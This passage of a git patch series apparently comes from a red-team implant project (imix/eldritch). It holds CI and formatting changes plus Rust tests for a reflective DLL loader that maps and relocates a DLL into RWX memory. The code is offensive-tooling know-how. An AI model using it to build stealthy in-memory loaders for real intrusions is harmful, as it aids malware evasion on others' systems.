bounds in known good") } + let known_good_addr = + (good_dll_base as usize + reloc.virtual_address as usize) as *mut usize; + if known_good_addr as usize + > good_dll_base as usize + + pe_header.nt_headers.OptionalHeader.SizeOfImage as usize + { + panic!("About to read out of bounds in known good") + } - assert_eq!((unsafe{*test_addr} as usize - image_base_delta as usize), (unsafe{*known_good_addr} as usize - good_image_base_delta as usize)); + assert_eq!( + (unsafe { *test_addr } as usize - image_base_delta as usize), + (unsafe { *known_good_addr } as usize - good_image_base_delta as usize) + ); } } Ok(()) @@ -788,29 +999,47 @@ mod tests { let pe_header = PeFileHeaders64::new(dll_bytes); // Allocate memory for our DLL to be loaded into - let test_dll_base: *mut c_void = unsafe { VirtualAlloc(ptr::null(), pe_header.nt_headers.OptionalHeader.SizeOfImage as usize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE) }; + let test_dll_base: *mut c_void = unsafe { + VirtualAlloc( + ptr::null(), + pe_header.nt_headers.OptionalHeader.SizeOfImage as usize, + MEM_RESERVE | MEM_COMMIT, + PAGE_EXECUTE_READWRITE, + ) + }; // copy over DLL image sections to the newly allocated space for the DLL let _ = relocate_dll_image_sections(test_dll_base, dll_bytes as *const c_void, &pe_header); // This uses memcpy which is unresolved - let image_base_delta = test_dll_base as isize - pe_header.nt_headers.OptionalHeader.ImageBase as isize; + let image_base_delta = + test_dll_base as isize - pe_header.nt_headers.OptionalHeader.ImageBase as isize; let _ = process_dll_image_relocation(test_dll_base, &pe_header, image_base_delta); - let good_dll_base = unsafe{ LoadLibraryA(format!("{}\0", test_payload_path.as_path().to_str().unwrap()).as_ptr()) }; + let good_dll_base = unsafe { + LoadLibraryA(format!("{}\0", test_payload_path.as_path().to_str().unwrap()).as_ptr()) + }; if good_dll_base == 0 { - let last_err = unsafe{GetLastError()}; + let last_err = unsafe { GetLastError() }; return Err(anyhow::anyhow!("Failed to load test DLL with `LoadLibraryA` check that the file exists. Last error: {}", last_err)); } // Parse bytes from disk. let pe_file = object::read::pe::PeFile64::parse(read_in_dll_bytes)?; let section_table = pe_file.section_table(); - if let Some(import_table) = pe_file.data_directories().import_table(read_in_dll_bytes, §ion_table)? { + if let Some(import_table) = pe_file + .data_directories() + .import_table(read_in_dll_bytes, §ion_table)? + { let mut import_descs = import_table.descriptors()?; - while let Some(import_desc) = import_descs.next()? { - let lookup_thunks = import_table.thunks(import_desc.original_first_thunk.get(LittleEndian))?; + while let Some(import_desc) = import_descs.next()? { + let lookup_thunks = + import_table.thunks(import_desc.original_first_thunk.get(LittleEndian))?; let mut thunks = lookup_thunks.clone(); while let Some(thunk) = thunks.next::()? { - let good_first_few_fn_bytes = unsafe{*((thunk.address() as usize + good_dll_base as usize) as *const usize)}; - let test_first_few_fn_bytes = unsafe{*((thunk.address() as usize + test_dll_base as usize) as *const usize)}; + let good_first_few_fn_bytes = unsafe { + *((thunk.address() as usize + good_dll_base as usize) as *const usize) + }; + let test_first_few_fn_bytes = unsafe { + *((thunk.address() as usize + test_dll_base as usize) as *const usize) + }; assert_eq!(test_first_few_fn_bytes, good_first_few_fn_bytes); } } @@ -818,6 +1047,4 @@ mod tests { Ok(()) } - } - From 7741c69267b40713ba43fd8f0aee77855547e6b1 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:44:43 +0000 Subject: [PATCH 15/29] add waring. --- bin/reflective_loader/Cargo.toml | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/bin/reflective_loader/Cargo.toml b/bin/reflective_loader/Cargo.toml index bedef6ad1..fbc41f347 100644 --- a/bin/reflective_loader/Cargo.toml +++ b/bin/reflective_loader/Cargo.toml @@ -1,3 +1,11 @@ +# +# ============= DO NOT MANUALLY COMPILE ======================= +# The reflective loader gets automatically compiled +# By the eldritch `build.rs` file. There's some differences +# in how to build the loader with `gnu` and `msvc`. If you're +# curious chekc out `realm/implants/lib/eldritch/build.rs` +# + [package] name = "reflective_loader" version = "0.1.0" @@ -9,14 +17,14 @@ edition = "2021" crate-type = ["cdylib"] [profile.dev] -opt-level = "z" # This reduces the numebr of symbols not found. +opt-level = "z" # This reduces the numebr of symbols not found. lto = true codegen-units = 1 panic = "abort" [profile.release] -strip = true # Automatically strip symbols from the binary. -opt-level = "z" # Optimize for size. +strip = true # Automatically strip symbols from the binary. +opt-level = "z" # Optimize for size. lto = true codegen-units = 1 panic = "abort" @@ -41,5 +49,5 @@ features = [ "Win32_System_Diagnostics_Debug", "Win32_System_SystemInformation", "Win32_System_SystemServices", - "Win32_System_WindowsProgramming" -] \ No newline at end of file + "Win32_System_WindowsProgramming", +] From 888c5c67208495bef41b2b051ad55a8f56d33367 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:44:53 +0000 Subject: [PATCH 16/29] Oh that might fix it. --- implants/lib/eldritch/build.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/implants/lib/eldritch/build.rs b/implants/lib/eldritch/build.rs index 842dd6907..f59887faf 100644 --- a/implants/lib/eldritch/build.rs +++ b/implants/lib/eldritch/build.rs @@ -92,6 +92,7 @@ fn build_bin_reflective_loader() { "x86_64-pc-windows-msvc" => Command::new("cargo") .args([ "build", + "--release", "-Z", "build-std=core,compiler_builtins", "-Z", From e7481f158bdace0778589ab11662e0ea5960a36f Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:45:21 +0000 Subject: [PATCH 17/29] Try using build rs again. --- .github/workflows/tests.yml | 6 ------ 1 file changed, 6 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 4b3eb3171..57d501327 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -54,12 +54,6 @@ jobs: default: true profile: minimal components: rustfmt, clippy, rust-src - - if: matrix.os == 'windows-latest' - shell: powershell - name: Build reflective loader - run: | - cd ./bin/reflective_loader/ - cargo build --release -Z build-std=core,compiler_builtins -Z build-std-features=compiler-builtins-mem - name: rust-cache uses: Swatinem/rust-cache@v2 with: From fb04a6a2e7e6f66b10845d1865151d6bc63055a7 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 02:05:53 +0000 Subject: [PATCH 18/29] bruh - idk --- .github/workflows/tests.yml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 57d501327..f2527a494 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -63,6 +63,10 @@ jobs: with: tool: nextest,cargo-llvm-cov - name: 🔎 Run tests - run: cd ./implants/ && cargo +nightly-2024-02-11 fmt --check && cargo llvm-cov nextest --lcov --output-path lcov.info + run: | + cd ./implants/ && \ + cargo +nightly-2024-02-11 fmt --check && \ + cargo +nightly-2024-02-11 clippy && \ + cargo +nightly-2024-02-11 llvm-cov nextest --lcov --output-path lcov.info - name: 📶 Upload Coverage Results uses: codecov/codecov-action@v3 From 6d0f0cdd30ceaf8ed0b2bed1c79e94cb9c116b86 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 02:10:18 +0000 Subject: [PATCH 19/29] No clippy for now. --- .github/workflows/tests.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index f2527a494..35f7d8567 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -66,7 +66,6 @@ jobs: run: | cd ./implants/ && \ cargo +nightly-2024-02-11 fmt --check && \ - cargo +nightly-2024-02-11 clippy && \ cargo +nightly-2024-02-11 llvm-cov nextest --lcov --output-path lcov.info - name: 📶 Upload Coverage Results uses: codecov/codecov-action@v3 From 8dcd38d2998233b5b497d9134585c6e94a2eddc4 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 02:13:52 +0000 Subject: [PATCH 20/29] Multiline --- .github/workflows/tests.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 35f7d8567..b8f896243 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -64,8 +64,8 @@ jobs: tool: nextest,cargo-llvm-cov - name: 🔎 Run tests run: | - cd ./implants/ && \ - cargo +nightly-2024-02-11 fmt --check && \ + cd ./implants/ && + cargo +nightly-2024-02-11 fmt --check && cargo +nightly-2024-02-11 llvm-cov nextest --lcov --output-path lcov.info - name: 📶 Upload Coverage Results uses: codecov/codecov-action@v3 From 6d6b1f5f3865cc7a1881ae8ea6b7c7516d1e597b Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 02:24:15 +0000 Subject: [PATCH 21/29] fix clippy error. --- implants/lib/eldritch/src/file/compress_impl.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/implants/lib/eldritch/src/file/compress_impl.rs b/implants/lib/eldritch/src/file/compress_impl.rs index 61591c36b..6a57a167b 100644 --- a/implants/lib/eldritch/src/file/compress_impl.rs +++ b/implants/lib/eldritch/src/file/compress_impl.rs @@ -92,6 +92,7 @@ pub fn compress(src: String, dst: String) -> Result<()> { OpenOptions::new() .create(true) .write(true) + .truncate(false) .open(dst.clone())?, ); From 03fef437715181cf446492803b4b12e7d6c70ca7 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 02:24:22 +0000 Subject: [PATCH 22/29] maybe fix CI --- implants/lib/eldritch/build.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/implants/lib/eldritch/build.rs b/implants/lib/eldritch/build.rs index f59887faf..443163064 100644 --- a/implants/lib/eldritch/build.rs +++ b/implants/lib/eldritch/build.rs @@ -94,9 +94,9 @@ fn build_bin_reflective_loader() { "build", "--release", "-Z", - "build-std=core,compiler_builtins", + "build-std=core,compiler_builtins,profiler_builtins", "-Z", - "build-std-features=compiler-builtins-mem", + "build-std-features=compiler-builtins-mem,profiler_builtins", &format!("--target={target_triple}"), ]) .current_dir(test_dll_path.clone()) From 244650936355d533f6a439c63e355ffee885cc0c Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 02:34:04 +0000 Subject: [PATCH 23/29] Bruh idk why this doesn't work windows sucks. --- .github/workflows/tests.yml | 6 ++++++ implants/lib/eldritch/build.rs | 4 ++-- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index b8f896243..6b78a9243 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -58,6 +58,12 @@ jobs: uses: Swatinem/rust-cache@v2 with: workspaces: "./implants/ -> ../target" + - if: matrix.os == 'windows-latest' + shell: powershell + name: Build reflective loader + run: | + cd ./bin/reflective_loader/ + cargo build --release -Z build-std=core,compiler_builtins -Z build-std-features=compiler-builtins-mem - name: Install latest nextest & cargo-llvm-cov release uses: taiki-e/install-action@v2.17.7 with: diff --git a/implants/lib/eldritch/build.rs b/implants/lib/eldritch/build.rs index 443163064..f59887faf 100644 --- a/implants/lib/eldritch/build.rs +++ b/implants/lib/eldritch/build.rs @@ -94,9 +94,9 @@ fn build_bin_reflective_loader() { "build", "--release", "-Z", - "build-std=core,compiler_builtins,profiler_builtins", + "build-std=core,compiler_builtins", "-Z", - "build-std-features=compiler-builtins-mem,profiler_builtins", + "build-std-features=compiler-builtins-mem", &format!("--target={target_triple}"), ]) .current_dir(test_dll_path.clone()) From 16e67fe0a0b8f6bc943b7925ef6f9c276cd3c36a Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Wed, 22 May 2024 11:07:12 -0500 Subject: [PATCH 24/29] Update string_impl.rs Co-authored-by: Nicholas O'Brien --- implants/lib/eldritch/src/random/string_impl.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/implants/lib/eldritch/src/random/string_impl.rs b/implants/lib/eldritch/src/random/string_impl.rs index feeee7791..b913b6d7c 100644 --- a/implants/lib/eldritch/src/random/string_impl.rs +++ b/implants/lib/eldritch/src/random/string_impl.rs @@ -49,9 +49,7 @@ mod tests { for _ in 0..=NUM_ITERATION { let new_str = string(16, None)?; assert_eq!(new_str.chars().count(), 16); - if !result_str.insert(new_str) { - panic!("test_string_uniform - failed"); - } + assert!(result_str.insert(new_str), "test_string_uniform - failed"); } Ok(()) } From 60f7800edb621b2ab5c1a7149dcd32730993a52e Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Sun, 26 May 2024 01:25:51 +0000 Subject: [PATCH 25/29] Ah hah! Need to define modules as pub --- implants/imix/src/lib.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/implants/imix/src/lib.rs b/implants/imix/src/lib.rs index 00c9feb95..9de3c4e10 100644 --- a/implants/imix/src/lib.rs +++ b/implants/imix/src/lib.rs @@ -1,6 +1,6 @@ #![deny(warnings)] -#![allow(dead_code)] -mod agent; + +pub mod agent; mod config; mod install; mod run; @@ -10,7 +10,7 @@ mod version; pub mod win_service; #[tokio::main(flavor = "multi_thread", worker_threads = 128)] -async fn lib_entry() { +pub async fn lib_entry() { #[cfg(debug_assertions)] run::init_logging(); From 96000756b00eb144546ff2e39cbf714c7f92ae3c Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Sun, 26 May 2024 01:30:43 +0000 Subject: [PATCH 26/29] Install both stable and nightly. --- .github/workflows/tests.yml | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 6b78a9243..42a01e9a1 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -50,10 +50,17 @@ jobs: - name: Setup Rust uses: actions-rs/toolchain@v1 with: - toolchain: 'nightly-2024-02-11' + toolchain: '1.76.0' default: true profile: minimal components: rustfmt, clippy, rust-src + - name: Setup Rust (Loader) + uses: actions-rs/toolchain@v1 + if: matrix.os == 'windows-latest' + with: + toolchain: 'nightly-2024-02-11' + default: false + profile: minimal - name: rust-cache uses: Swatinem/rust-cache@v2 with: From 57377f27d013edeff6b8542ee7ad0ca27e42d304 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Sun, 26 May 2024 01:36:17 +0000 Subject: [PATCH 27/29] Maybe work --- .github/workflows/tests.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 42a01e9a1..19a321765 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -70,7 +70,7 @@ jobs: name: Build reflective loader run: | cd ./bin/reflective_loader/ - cargo build --release -Z build-std=core,compiler_builtins -Z build-std-features=compiler-builtins-mem + cargo build +nightly-2024-02-11 --release -Z build-std=core,compiler_builtins -Z build-std-features=compiler-builtins-mem - name: Install latest nextest & cargo-llvm-cov release uses: taiki-e/install-action@v2.17.7 with: @@ -78,7 +78,7 @@ jobs: - name: 🔎 Run tests run: | cd ./implants/ && - cargo +nightly-2024-02-11 fmt --check && - cargo +nightly-2024-02-11 llvm-cov nextest --lcov --output-path lcov.info + cargo fmt --check && + cargo llvm-cov nextest --lcov --output-path lcov.info - name: 📶 Upload Coverage Results uses: codecov/codecov-action@v3 From 7d11e80ca5bb4907ccfb357ecff1d0aec43da010 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Sun, 26 May 2024 01:38:38 +0000 Subject: [PATCH 28/29] ope --- .github/workflows/tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 19a321765..055141be4 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -70,7 +70,7 @@ jobs: name: Build reflective loader run: | cd ./bin/reflective_loader/ - cargo build +nightly-2024-02-11 --release -Z build-std=core,compiler_builtins -Z build-std-features=compiler-builtins-mem + cargo +nightly-2024-02-11 build --release -Z build-std=core,compiler_builtins -Z build-std-features=compiler-builtins-mem - name: Install latest nextest & cargo-llvm-cov release uses: taiki-e/install-action@v2.17.7 with: From ab3e6312d07d726ecbe40efe9c57336f8b45907f Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Sun, 26 May 2024 01:41:16 +0000 Subject: [PATCH 29/29] Fix components --- .github/workflows/tests.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 055141be4..1eb7d7208 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -53,7 +53,7 @@ jobs: toolchain: '1.76.0' default: true profile: minimal - components: rustfmt, clippy, rust-src + components: rustfmt, clippy - name: Setup Rust (Loader) uses: actions-rs/toolchain@v1 if: matrix.os == 'windows-latest' @@ -61,6 +61,7 @@ jobs: toolchain: 'nightly-2024-02-11' default: false profile: minimal + components: rust-src - name: rust-cache uses: Swatinem/rust-cache@v2 with: